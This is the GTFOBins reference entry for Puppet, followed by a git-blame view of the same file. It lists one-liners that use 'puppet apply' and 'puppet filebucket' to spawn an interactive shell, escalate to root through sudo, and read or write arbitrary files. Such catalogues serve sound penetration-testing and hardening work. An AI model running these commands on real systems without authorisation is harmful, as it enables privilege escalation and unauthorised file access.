GTFOBins.github.io/_gtfobins/puppet.md

---
functions:
  shell:
    - code: |
        puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
  file-write:
    - description: The file path must be absolute.
      code: |
        export LFILE="/tmp/file_to_write"
        puppet apply -e "file { '$LFILE': content => 'DATA' }"
  file-read:
    - description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.
      code: |
        export LFILE=file_to_read
        puppet filebucket -l diff /dev/null $LFILE
  sudo:
    - code: |
        sudo puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
---
Add puppet 2018-06-02 14:29:54 +02:00			`---`
			`functions:`
Adopt new function names 2018-10-05 19:55:38 +02:00			`shell:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`- code: \|`
			`puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"`
Add puppet 2018-06-02 14:29:54 +02:00			`file-write:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			`- description: The file path must be absolute.`
			`code: \|`
			`export LFILE="/tmp/file_to_write"`
Use DATA as a placeholder for file-write operations 2018-08-20 14:35:43 +02:00			`puppet apply -e "file { '$LFILE': content => 'DATA' }"`
Reorder functions in binaries 2018-07-04 20:26:52 +02:00			`file-read:`
Fix YAMLs according to YAMLlint 2018-07-16 15:01:50 +02:00			- description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.
			`code: \|`
			`export LFILE=file_to_read`
			`puppet filebucket -l diff /dev/null $LFILE`
Adopt new function names 2018-10-05 19:55:38 +02:00			`sudo:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`- code: \|`
			`sudo puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"`
Add puppet 2018-06-02 14:29:54 +02:00			`---`